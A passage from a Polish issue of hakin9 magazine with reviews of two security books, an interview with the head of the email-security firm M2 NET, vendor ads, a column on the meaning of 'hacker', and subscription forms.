tyczne rady, w jaki sposób zmniejszać ryzyko i zwalczać
typowe problemy, znacząco podnoszą wartość pozycji.

Marcin Kulawinek

Tytuł: PHP Bezpieczne Programowanie

Autor: Chris Shiflett

Wydawca: Helion

Rok wydania w Polsce: 2006

Liczba stron: 128

Bezpieczeństwo odgrywa ważną rolę w serwisach webo-
wych. Bez zapewnienia odpowiedniego poziomu bez-
pieczeństwa nie byłoby banków internetowych, klientów
pocztowych uruchamianych z poziomu przeglądarki, sys-
temów zarządzania treścią, wszelkich blogów itp. Z pew-
nością także PHP nie osiągnęłoby takiej popularności.
Faktem jest, że każde zabezpieczenie można obejść,
a jedyne, co możemy zrobić, to utrudnić życie hakerom
czy crackerom. Z tego właśnie powodu warto przeczytać

książkę PHP Bezpieczne Programowanie. Jak sam tytuł
wskazuje, powie nam ona wiele o tym, jak należy pisać
aplikacje internetowe, by nie narażać na nieprzyjemno-
ści naszych użytkowników – a także siebie, również pod
względem prawnym, gdyż wiele serwisów pełni funkcje
objęte regulacjami prawnymi.

Chris Shiflett – autor opisywanej tutaj książki – przed-

stawia nam różne aspekty bezpieczeństwa skryptów
PHP, pokazując często spotykane luki, które programi-

background image

hakin9 Nr 01/2008

www.hakin9.org

72

Księgozbiór

Księgozbiór

hakin9 Nr 01/2008

www.hakin9.org

73

ści zostawiają w kodzie oraz sposoby, w jakie napastnik
może je wykorzystać. Dzięki takiej konwencji możemy
zrozumieć także samą ideę wprowadzania danego
zabezpieczenia i spojrzeć na to z perspektywy atakują-
cego. Z pewnością, znając tę ideę, będziemy w stanie
opracować nowe sposoby zabezpieczeń lub udoskona-
lić już istniejące.

Czego konkretnie możemy się nauczyć dzięki tej

książce zawierającej sto dwadzieścia stron informa-
cji? Zaczynamy od ataków: na formularze, XSS, CSRF
oraz manipulacji adresami URL (wszystko to mieści się
w jednym – najdłuższym w książce – rozdziale). Następ-
nie szybko przechodzimy do baz danych, gdzie dowiadu-
jemy się czym jest atak nazywany SQL Injection, a potem
poznajemy sposoby na ochronę przed przechwytywa-
niem sesji oraz ciasteczek, w których znajduje się więcej
pożądanych przez hakera informacji, niż się niektórym

wydaje. Autor pisze także o wstrzykiwaniu kodu, naraża-
niu na niebezpieczeństwo przeglądania przez intruza sys-
temu plików, autoryzacji użytkowników, a na koniec zosta-
wia garść rad podpowiadających co zrobić, gdy webser-
wisy znajdują się na wspólnym hoście. Zawarto tutaj
także trzy dodatki traktujące odpowiednio o: dyrektywach
konfiguracyjnych PHP, jego kilku kluczowych funkcjach
oraz o kryptografii, do której wykorzystuje się wbudowa-
ne funkcje PHP.

PHP Bezpieczne Programowanie zawiera co prawda

kilka błędów, jednak są to jedynie literówki. Autor bardzo
dokładnie opisał poszczególne rodzaje ataków i możli-
wości ochrony przed nimi, tak więc warto przeczytać tę
książkę – zwłaszcza, jeśli planujemy tworzyć poważne
serwisy webowe.

Roger Zacharczyk

Tytuł: Podstawy ochrony komputerów

Autor: Rick Lehtinen, Deborah Russell, G.T. Gangemi

Wydawca: Helion

Rok wydania w Polsce: 2007

Liczba stron: 304

Zadbaj o bezpieczeństwo swojego komputera – to cytat
z okładki książki: Podstawy ochrony komputerów, wyda-
nej przez jedno z bardziej uznawanych wydawnictw na
świecie O'Reilly, w Polsce dostarczanej przez Helion.

Co znajdziemy w książce? Dziesięć rozdziałów podzie-

lonych na cztery główne części plus dodatki. Pierwsze,
co przedstawi nam autor, to jak wyglądało bezpieczeń-
stwo wczoraj, a jak przedstawia się jego aktualny poziom
– historia rozwoju szeroko rozumianej ochrony informacji
i nie tylko. Kolejny dział wprowadzi nas w tytułową ochronę
komputerów. Dowiemy się z niego, co i jak należy chronić.
Autor porusza nie tylko zagadnienia oczywiste, jak nie zapi-
sywanie haseł na karteczkach, lecz omawia także ochro-
nę przed niepowołanym dostępem osób trzecich, wirusa-
mi, robakami. Przeczytamy, jak powinna wyglądać polityka
bezpieczeństwa w firmie, jakie zagrożenia niesie ze sobą
Internet i które rodzaje ataków można w nim przeprowa-
dzić. Dostępna jest przystępnie opisana specyfikacja pro-
tokołów sieciowych, opis możliwości i zagrożeń, jakie są
z nimi związane. Następny dział przybliża zagadnienia szy-
frowania, kodowania oraz przedstawia, co oznacza zabez-
pieczanie sieci i jak sobie z nim radzić. Autor opisuje histo-
ryczne początki znanych algorytmów szyfrujących oraz
ich ewolucję, przedstawia, które z nich na chwilę obecną
dają nam wystarczającą ochronę. Ostatnia część (poza
dodatkami) porusza tematykę innych rodzajów zabezpie-
czeń. Dowiemy się z niej o fizycznej i biometrycznej ochro-
nie zasobów oraz o metodach ochrony i unikania zagro-

żeń w sieciach bezprzewodowych. Warto zwrócić uwagę
na dodatki, w których jasno przedstawione zostały takie
zagadnienia jak Orange book czy TEMPEST.

Z rzeczy, które zauważa się już w pierwszych roz-

działach, rzuca się w oczy nakład pracy, jaki włożył autor
w uporządkowanie i usystematyzowanie wiedzy. Wszel-
kie terminy są krok po kroku definiowane i wyjaśniane.
Rzadko – acz w bardzo istotnych miejscach – znajdzie-
my ilustracje obrazujące dane zagadnienie. W ramkach
umieszczono praktyczne wskazówki i ciekawostki odno-
śnie aktualnie omawianego tematu.

Znaczną część książki zajmują odwołania do spe-

cyfikacji, praw i dyrektyw. W większości są to dokumen-
ty rządu Stanów Zjednoczonych – wydawnictwo Helion
postarało się o uzupełnienie tych paragrafów o odwoła-
nia do polskich ustaw i rozporządzeń, co podnosi war-
tość pozycji. Dla kogo jest ta książka? Właściwie dla
każdego, kto chce wiedzieć więcej o bezpieczeństwie –
z nastawieniem jednak na osoby, które są w tym temacie
początkujące (co nie oznacza, że bardziej zaawansowa-
ni nie znajdą nic dla siebie).

Marcin Kulawinek

Serdeczne podziękowania dla wydawnictwa Helion,
za udostępnienie książek do recenzji.

background image

www.hakin9.org

hakin9 Nr 01/2008

74

Wywiad

hakin9:

Proszę przybliżyć naszym Czytelni-

kom strategię firmy na najbliższe pół roku/
rok.

Marcin Piołun-Noyszewski:

Specyfika pro-

duktów M2 NET powoduje, że firma musi bar-
dzo szybko reagować na wymagania stawiane
przez rynek, zatem jednym z zadań, które sto-
ją przed nami, jest tworzenie i implementowa-
nie nowych technik antyspamowych i ochro-
ny poczty. Np. ostatnio nasz zespół wymyślił
nową, innowacyjną technikę wykrywania phi-
shingu opartą na analizie adresów nadaw-
ców. Właśnie wydaliśmy nową wersję syste-
mu ochrony poczty dla IBM Domino, kończy-
my także przygotowywanie piątej wersji SMI!
for Gateway
, a najpóźniej w pierwszym kwar-
tale 2008 chcemy wydać nową wersję SMI! for
Exchange.

h9:

Jaki jest Wasz najważniejszy, flagowy pro-

dukt?

MP-N:

Nasza firma zajmuje się dwoma nie-

co różniącymi się obszarami działalnośći.
Pierwsza to bezpieczeństwo poczty elektro-
nicznej – najważniejszą linią produktową jest
seria Secure Mail Intelligence! Jest to wielo-
silnikowy system zabezpieczenia poczty, za-
wierający 8 silników antywirusowych i po-

nad 23 technologie wyszukiwania spamu.
Z drugiej strony, nasza firma produkuje sys-
temy dedykowane i aplikacje biznesowe,
a tutaj prym wiedzie system relacji z klienta-
mi – CRM, system realizacji badań sondażo-
wych przez Internet – Internet Survey, syste-
my obiegu dokumentów, rożne dedykowane
aplikacje wielowarstwowe i aplikacje do kryp-
tografii.

h9:

Jak próbujecie się wyróżnić na rynku?,

Przecież jest tak wiele dobrych produktów. Co
robicie, aby je wypromować? Czy nie boicie się
konkurencji?

MP-N:

Duży procent sprzedaży zapewnia

nam eksport i sprzedaż poprzez zagranicz-
nych partnerów, stąd skupiamy się na działa-
niach promujących ten sposób sprzedaży. Do
najważniejszych technik promocji należą tu-
taj po prostu bezpośrednie kontakty. Nie ma
co ukrywać, nie jesteśmy zbyt szeroko obec-
ni w Polsce i niezbyt często korzystamy z tra-
dycyjnych mechanizmów promocji. Ale chce-
my to zmienić, ponieważ zamierzamy bar-
dziej aktywnie sprzedawać nasze produkty
także na rynku polskim. Niestety, nie jest to
łatwe, bo zasada cudze chwalicie, swego nie
znacie
jest tutaj w 100% prawdziwa, o czym

Wywiad z Marcinem

Piołunem – Noyszewskim

prezesem zarządu M2 NET

Od 13 lat zajmuje się

projektowaniem i

tworzeniem oprogramowania

komputerowego, a od 7 lat

pełni funkcję prezesa zarządu

M2 NET S.A. Ma 32 lata i jest

absolwentem socjologii na

Uniwersytecie Warszawskim.

Marcin Piołun-Noyszewski

background image

hakin9 Nr 01/2008

www.hakin9.org

75

niejednokrotnie się przekonaliśmy na własnej skórze.
Zaskakujące jest to, że SMI! chętnie kupuje np. admi-
nistracja rządowa w Wielkiej Brytanii czy w Kazachsta-
nie, a w Polsce mamy jednostkowe przypadki instalacji
w sektorze administracji publicznej. Jeśli chodzi o kon-
kurencję, to na świecie jest tylko około pięciu podob-
nych produktów. My stawiamy na funkcjonalność, oni
na markę. Myślę że w dłuższej perspektywie to nasze
podejście przyniesie premię.

h9:

Jak oceniacie zainteresowanie klientów Waszymi

produktami? Czy jest ono ściśle związane ze świadomo-
ścią klientów odnośnie zagrożeń płynących z Internetu,
czy ta świadomość/zainteresowanie wzrosła, czy zmala-
ła na przestrzeni ostatnich lat?

MP-N:

Właśnie, kwestia tego, skąd pochodzi zagro-

żenie, różni podejście klientów dawniej i obecnie.
W Polsce wyraźnie widać zainteresowanie głównie
funkcjami antyspamowymi, następnie antywirusowy-
mi – czyli cechami, które zabezpieczają firmę przed
atakami z zewnątrz. Okazuje się jednak, że najwięk-
sza liczba zagrożeń pochodzi z wewnątrz firmy. Za
3⁄4 wszystkich ataków odpowiedzialni są tzw. insiders,
czyli pracownicy lub byli pracownicy przedsiębior-
stwa. Między innymi dlatego w normie 27001 tak du-
ży nacisk kładzie się na kontrolę poczynań pracowni-
ków. Widzimy, że obecnie wzrasta taka świadomość
i szczególnie na świecie klienci głównie pytają o za-
awansowanie filtrowanie treści (SMI! umożliwia wy-
łuskiwanie treści z różnorodnych załączników, w tym
wielokrotnie zagnieżdżonych) i kontrolę wycieku da-
nych, w dalszej kolejności istotna jest możliwość do-
łączania zastrzeżeń prawnych i archiwizacji poczty,
a dopiero potem ochrona przed złośliwym kodem
i niechcianą pocztą.

h9:

Czy produkty firmy rzeczywiście odznaczają się wy-

soką skutecznością?

MP-N:

Po pierwsze SMI! posiada innowacyjne mecha-

nizmy działające w warstwie połączenia, co powodu-
je, że jest w stanie blokować połączenia z adresów,
z których np. otrzymaliśmy zbyt wiele zainfekowanych
listów. Podobnie z reakcją na epidemie i zachowania
masowe – te funkcje wyróżniają nas spośród konku-
rencji i powodują, że skuteczność SMI! jest wyższa

niż innych programów tego typu. W dalszym aspek-
cie wpływa na to zastosowanie 23 technik antyspamo-
wych i 8 technik antywirusowych – bo chyba przema-
wia do każdego, że przeskanowanie tego samego li-
stu kilkoma silnikami podwyższy skuteczność. W na-
szych testach wyraźnie widać, ze nie ma idealnego sil-
nika antywirusowego i antyspamowego. Trzeba dobrać
ochronę antyspamową do charakteru spamu – podob-
nie nie zdarzyło się jeszcze nigdy, aby jeden silnik wy-
krył wszystkie kolekcjonowane przez nas wirusy, troja-
ny, robaki, riskware, spyware, adware.

h9:

Jeśli tak, co to potwierdza?

MP-N:

Porównanie z konkurencją. Często z nią wal-

czymy.Nasze i ich rozwiązania są poddawane tym sa-
mym testom w identycznym środowisku, ale to nasze
produkty wygrywają. Posiadamy także raporty firm do-
starczających nam technologii antyspamowych i anty-
wirusowych, które pokazują np. czasy reakcji na poja-
wienie się wirusów. Wahają się one od kilku minut do
kilkuset godzin. Na początku stawki i na końcu w róż-
nych miesiącach występują czasami te same silniki
– nie ma ideału. Tylko dywersyfikacja technologii może
poprawić poziom bezpieczeństwa.

h9:

Jak wygląda wsparcie techniczne, czy jest ono płatne?

MP-N:

Standardowo w licencji zawarta jest opieka

roczna, która obejmuje aktualizacje baz wirusów, fil-
trów antyspamowych, poprawki oprogramowania i po-
moc techniczną przez elektroniczne kanały komu-
nikacji. Można także za 18% wartości licencji wy-
kupić zaawansowany maintenance, który umożliwia
m. in. instalowanie wszystkich nowych wersji produk-
tów bez dodatkowych opłat, a także zapewnia po-
moc techniczną przez telefon. Mamy także podpisa-
nych kilka umów na świadczenie dedykowanej opie-
ki typu 24/7/365, ale warunki takiej opieki są ustala-
ne indywidualnie.

h9:

Czy każdy klient ma swojego opiekuna technicznego?

MP-N:

Tak, każdy klient otrzymuje bezpośredni kon-

takt do dwóch osób: opiekuna technicznego i opie-
kuna handlowego. Warto jednak zwrócić uwagę na
fakt, że siłą takich małych firm, jak nasza – która za-
trudnia kilkanaście osób – jest to, że klient nie mu-
si przebijać się przez setki automatycznych powital-
nych menu, a trafia bezpośrednio do działu wsparcia
czy działu sprzedaży. Co więcej, cały zespół zna te-
matykę ochrony poczty, bo specjalizujemy się w tym
zakresie. Klient nie tonie w bezładzie organizacji,
a ewentualne problemy są szybko eskalowane – zda-
rza się i tak, że osobiście interweniuję w niektórych
sprawach. Ważne jest także i to, że pomagamy klien-
tom nie tylko podczas instalacji oprogramowania,
z ewentualnymi kłopotami technicznymi czy też
w obsłudze programu, ale pomagamy utworzyć po-
litykę zabezpieczenia, reagujemy na ataki, których
doświadczają nasi klienci, przygotowujemy dla nich
specjalne wersje lub implementujemy specyficzne
zabezpieczenia.

background image

hakin9 Nr 01/2008

www.hakin9.org

Wywiad

76

h9:

Czy jeśli klient zamówi określone oprogramowanie

czy też wdrożenie, będzie mógł liczyć na szkolenia?

MP-N:

Oczywiście, standardowo każdy klient może za

darmo uczestniczyć w sesjach szkoleniowych organizo-
wanych przez naszą firmę. Każdemu możemy asysto-
wać w instalacji produktu poprzez telefon lub zdalny de-
sktop. Mamy także ofertę kilku szkoleń komercyjnych
– od zaawansowanej obsługi oprogramowania (np. kla-
strowania
, replikacji itp.), poprzez szkolenia tworzenia
polityk zabezpieczeń, a skończywszy na szkoleniach
z tematyki nieco szerzej rozumianego bezpieczeństwa
systemów IT.

h9:

Z jakiego języka programowania korzystają progra-

miści firmy przy pisaniu aplikacji?

MP-N:

Większość bibliotek oraz natywna integracja

z serwerami wymaga tego, by korzystać z C i C++,
ale wiele filtrów i obsługa logiki aplikacji wykonane są
w języku Java 1.5. Interfejs administracyjny przygo-
towany jest jako wielowarstwowa aplikacja Java uru-
chamiana na serwerze Apache Tomcat, korzystają-
ca z interaktywnych mechanizmów AJAX. Fragmenty
korzystają ze skompilowanej przez nas wersji Perl-a,
a wersja dla Microsoft Exchange wykorzystuje miej-
scami C#.

h9:

Na firmowej stronie WWW znajdujemy informację

o obsługiwanych systemach. Czy w tych mniej popular-
nych zdarzają się jakieś problemy z działaniem progra-
mów?

MP-N:

Wersje dla wszystkich systemów operacyjnych

staramy się testować w ten sam sposób. Nie jest ta-
jemnicą, że np. Solaris czy AIX są nieco mniej popular-
ne, ale w takich przypadkach korzystamy z infrastruk-
tury producentów tych systemów i pomocy naszych
partnerów. Codziennie wykorzystujemy centra danych
w Londynie i w Warszawie, a także korzystamy szero-
ko z usług użytkowników, testujących wersje beta na-
szych systemów.

h9:

Czy przedsiębiorstwa chętnie stosują produkty firmy,

i czy ich opinie są pozytywne?

MP-N:

No cóż, tak jak wspomniałem wcześniej, wyda-

je się, że chętniej wykorzystują nasze pudełkowe opro-
gramowanie firmy spoza Polski, choć w przypadku apli-
kacji dedykowanych tworzonych na potrzeby biznesu
i administracji rządowej jest odwrotnie. Myślę, że naj-
lepszą oceną jakości produktów i świadczonych przez
nas usług jest fakt, że nasi klienci kilkukrotnie przedłu-
żają wieloletnie umowy subskrypcji i opieki serwiso-
wej, a także kilkukrotnie ci sami klienci zlecają nam no-
we zadania. Niestety, zdarza się czasami, że klienci re-
zygnują z naszych rozwiązań na rzecz produktów firmy
numer 1 lub 2
na świecie, ale wydaje się, że decyzje ta-
kie mają czasami pozamerytoryczną przyczynę.

h9:

Co przemawia za korzystaniem z produktów firmy M2

NET S.A.?

MP-N:

Chyba najważniejsza jest możliwość zwiększe-

nia dokładności analizy ruchu pocztowego, zdywersy-
fikowania źródeł zabezpieczeń, zaufania firmie wysoko

wyspecjalizowanej, otwartej na nowe pomysły i szyb-
ko reagującej na zmiany. Istotna jest możliwość bez-
pośredniego kontaktu, elastyczność i innowacja, którą
cechują się nasi pracownicy. Warto podkreślić, że cena
naszych produktów jest podobna do rozwiązań jedno-
silnikowych, a łatwość wdrożenia i obsługi programów
nie wymaga zaawansowanej wiedzy. Staramy się, aby
temat bezpieczeństwa został wyrwany z rąk guru i tra-
fił pod strzechy. Chcemy, żeby wysoko wyspecjalizo-
wane produkty mogły być obsługiwane przez zwykłych
administratorów.

h9:

Jak produkty M2 NET S.A. wypadają na tle konku-

rencji?

MP-N:

Nasz udział w rynku jest mały. Docieramy głów-

nie do wielkich firm, w których zabezpieczenie jedno-
silnikowe jest niewystarczające. Proszę sobie wyobra-
zić, że wśród firm korzystających z naszego oprogra-
mowania są takie przedsiębiorstwa, gdzie chronimy kil-
kaset serwerów i kilkadziesiąt tysięcy użytkowników!
Małe i średnie firmy preferują dobrze znane marki,
trudno nam z nimi wygrać. Niestety, nie możemy sobie
pozwolić na szeroką kampanię promocyjna, bo nasz
budżet na razie w 80-90 procentach pochłania R&D
i konieczność nadążania za zmieniającą się charakte-
rystyką ataków. W chwili obecnej wyróżnia nas wyższa
funkcjonalność i większa dokładność kontroli poczty.

h9:

W jaki sposób firma postrzega środowisko specjali-

stów IT?

MP-N:

Bez tych osób, bez ich pomysłów, wiedzy, czę-

sto doświadczenia, trudno byłoby nam stworzyć produk-
ty, które mogłyby realnie zabezpieczyć infrastrukturę na-
szych klientów.

h9:

Jakie akcje dla specjalistów IT Państwo przeprowa-

dzają?

MP-N:

Głównie ich poszukujemy i zatrudniamy, ale stara-

my się także dzielić z nimi wiedzą podczas licznych kon-
ferencji i wykładów, w których uczestniczą nasi pracow-
nicy.

h9:

Czy planujecie jakieś specjalne oferty, gratisowe na-

rzędzia itp.?

MP-N:

Obecnie istnieją tylko demonstracyjne wersje na-

szych produktów, ale dla różnych organizacji non-pro-
fit
oferujemy darmowe wersje. Pracujemy nad wersją
bezpłatną naszych produktów, ale niestety cykl wydaw-
niczy nowych wersji zablokował wydanie ich w tym ro-
ku. Wszystko wskazuje na to, że pod koniec pierwsze-
go kwartału przyszłego roku, a najpóźniej w drugim, wy-
damy darmowe wersje całej serii SMI! Co do specjalnych
ofert, to cały czas mamy rabat 30% dla instytucji związa-
nych z edukacją.

h9:

Jak M2 NET S.A. ocenia hakin9 jako medium umoż-

liwiające dotarcie do specjalistów IT?

MP-N:

hakin9, to według nas ważne czasopismo dostar-

czające rzetelnej wiedzy specjalistycznej, z której sami
także korzystamy.

h9:

Dziękujemy za rozmowę.

MP-N:

Dziękuję.

background image

CCNS

Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.

Prenumerata Pro

Media

Systems

Firma Media Systems oferuje Państwu
profesjonalny system CashBill.pl,
umożliwiający zarządzanie usługami
SMS Premium Rate w sektorze B2B
i B2C. Oferujemy również szeroki
wachlarz usług mikropłatniczych,
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy
budowie aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na zamó-
wienie. W ofercie programy autorstwa
ponad stu firm z całego świata. Zapra-
szamy do współpracy - zostań naszym
klientem lub dostawcą.

Zepter IT

Zepter IT to dynamicznie rozwijają-
ca się firma, specjalizująca się w re-
alizacji projektów informatycznych.
Oferujemy rozwiązania dla biznesu
i zarządzania takie jak systemy ERP
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów.
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce, tworzenie aplikacji internetowych
oraz systemów zarządzania treścią.

Petrosoft

Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezentacji
multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsor-
cingowe dla dużych firm z zakresu
informatyki i telekomunikacji. Opro-
gramowanie na zamówienia. Dostawa
serwerów, sprzętu, oprogramowania.

www.OprogramowanieKomputerowe.pl

www.ccns.pl

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

www.zepterit.com

kontakt do nas:

katarzyna.juszczynska@software.com.pl

robert.gontarski@software.com.pl

tel. : 22 427 36 77

Enigma SOI

Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

background image

hakin9 Nr 01/2008

www.hakin9.org

78

Fe

lie

to

n

N

astoletni haker włamał się do firmy, hakerzy
atakują nasze e-maile, hakerzy przejmują Twój
komputer, hakerzy znaleźli 'dziurę' w systemie

operacyjnym – takie i podobne teksty można przeczy-
tać w prasie i usłyszeć w TV. W Niemczech wprowadza
się nawet specyficzne przepisy anty-hakerskie.

Wszystkie takie informacje wrzucane są do jedne-

go worka, a dla przeciętnego użytkownika komputera
słowo haker ma negatywne konotacje. Stało się ono
modne i wręcz nadużywane.

Haker jest to osoba, która posiada bardzo szero-

ką wiedzę informatyczną i która potrafi ją wykorzystać
w celu znalezienia dziur w systemach informatycznych.
Osoba ta dzieli się swoją wiedzą i chętnie pomaga
innym użytkownikom, a co najważniejsze, swoim dzia-
łaniem nie szkodzi.

Trzeba też pamiętać, że to hakerzy przyczynili się

do ekspansji oprogramowania Open Source. To oni
stoją za tym, że każdego miesiąca dostajesz popraw-
ki do swojego ulubionego systemu operacyjnego. Ale
o tym jakoś nikt nie mówi. Nikt nie wspomina też, że to
dzięki nim Twoje ciężko zarobione pieniądze są coraz
bezpieczniejsze na kontach. Nawet Twoja sieć osiedlo-
wa jest bezpieczniejsza dzięki temu, że hakerzy moty-
wują administratorów do lepszego jej zabezpieczania.

Naturalnie, kwestia nie jest taka prosta. W grupie

hakerów występuje podział na black hats, white hats
i grey hats. Do pierwszej z nich zaliczamy osoby, które
wyszukują błędy w systemach i nie dzielą się tą
wiedzą, tylko tworzą oprogramowanie umożliwiające
wykorzystanie odkrytych luk. Do drugiej grupy nato-
miast wliczamy osoby, które szukają luk bezpieczeń-
stwa i po ich znalezieniu dzielą się z szerszą grupą
ludzi, którzy mogą pomóc w zlikwidowaniu błędów
w systemie. Natomiast ostatnia już grupa to po
prostu ci, którzy łączą w sobie cechy black hats
i white hats.

Przykładem włamania dokonanego z pozytyw-

nych przesłanek było wejście na serwer Apache.org
w wykonaniu Petera van Dijka i Franka van Vlieta w
maju 2000. Osoby te włamały się na serwer, opisa-
ły krok po kroku wszystko, co zrobiły i pozostawiły
administratorom serwera wiadomość, co zrobić, aby

Czy wszyscy są hakerami?

go lepiej zabezpieczyć. Mogli przecież użyć serwera
do zainfekowania tysięcy komputerów. I to jest jeden
z najbardziej szczytnych przykładów działań hake-
rów. Na dodatek administratorzy Apache.org napisa-
li podziękowania dla nich za pomoc w lepszym zabez-
pieczeniu systemu.

Natomiast inna osobą jest cracker. To użytkow-

nik, który włamuje się na serwery w celu zniszcze-
nia czegoś lub dla osiągnięcia korzyści materialnych.
Osoba taka działa niezgodnie z prawem. Jej celem nie
jest pomoc nikomu, tylko własny zysk. Trzeba przy tym
pamiętać, że crackerzy to naprawdę inteligentni ludzie,
którzy potrafią dużo zrobić za pomocą komputera
i nawet w ich nieetycznym działaniu można doszukać
się pozytywnych przesłanek.

Oczywiście można się ze mną sprzeczać i mówić,

że brak mi obiektywizmu, ponieważ nic na tym świe-
cie nie jest czarne lub białe. Ale czasami cel uświęca
środki. Przykładowo: ostatnio przeczytałem w pra-
sie, jak przedstawiciel pewnej firmy odpowiadający za
najbardziej popularny pakiet biurowy powiedział, że
zawiesza się on ze względów bezpieczeństwa. Cóż,
czytając coś takiego, zastanawiam się jak można
w taki sposób traktować użytkowników swojego pro-
gramu. Często wypuszczane są systemy operacyjne,
które mają być superbezpieczne i dawać nam kom-
fort spokojnej pracy. A jak wiemy często jest zupełnie
inaczej. Zwykły człowiek nie jest w stanie tego wykryć
i przetestować. I tutaj właśnie z pomocą przychodzą
hakerzy, którzy próbują wskazać producentowi okre-
ślone luki w systemie aby ten mógł zostać lepiej zabez-
pieczony. Czasami nie wystarczy pokazać monopo-
liście, że gdzieś jest błąd, ponieważ uważa on, że
wszystko działa bez zastrzeżeń i nic nie trzeba napra-
wiać. Ale cóż – to już zupełnie inna historia…

Niestety, za nadużywanie terminu haker odpowia-

dają w dużym stopniu media, ponieważ to one przy
każdej możliwej okazji wykorzystują to słowo nie zwra-
cając uwagi na jego właściwe znaczenie Apeluję,
więc, do wszystkich: zastanówcie się, zanim nazwie-
cie kogoś hakerem czy crackerem, ponieważ zawsze
możecie go urazić, nie zdając sobie sprawy, o czym tak
naprawdę mówicie. l

Rafał Bednarski gandalfblu@gmail.com

background image

Tytuł

Ilość numerów

w roku

Ilość zamawianych

prenumerat

Od numeru pisma

lub miesiąca

Opłata w zł

z VAT

hakin9 (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

900

Dodatkowy drukowany egzemplarz

12

80

W sumie

(liczba prenumerat x cena)

Formularz zamówienia prenumeraty

Dane osoby / firmy zamawiającej

Imię i nazwisko

Stanowisko

ID kontrahenta*

* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe

Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy

Pieczęć firmy i podpis

Nazwa firmy

Dokładny adres

Telefon (wraz z numerem kierunkowym)

Faks (wraz z numerem kierunkowym)

Adres e-mail

Numer NIP firmy

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 427 36 69

lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa,

e-mail: pren@software.com.pl

Przyjmujemy też zamówienia telefoniczne:

(22) 427 36 79

UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.

w w w . b u y i t p r e s s . c o m . p l

Prenumerata korporacyjna hakin9 pozwoli Ci

na dowolne powielenie i rozpowszechnianie pisma

w obrębie Twojej firmy

Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238

W ramach prenumeraty korporacyjnej otrzymają Państwo:

1. Pismo w wersji elektronicznej

2. Dwa dodatkowe egzemplarze w wersji drukowanej

3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku

background image

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 427 36 69 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 427 36 79

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

Cena prenumeraty rocznej dla osób prywatnych

2

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (2 płyty CD)

Miesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

6

140

background image

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku lutego 2008 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

02/2008

w następnym numerze

między innymi:

Zapowiedzi

Komórkowy malware

– zagrożenia i sposoby zapobiegania

Telefony komórkowe, które korzystają z systemu Windows Mobile, są wygod-
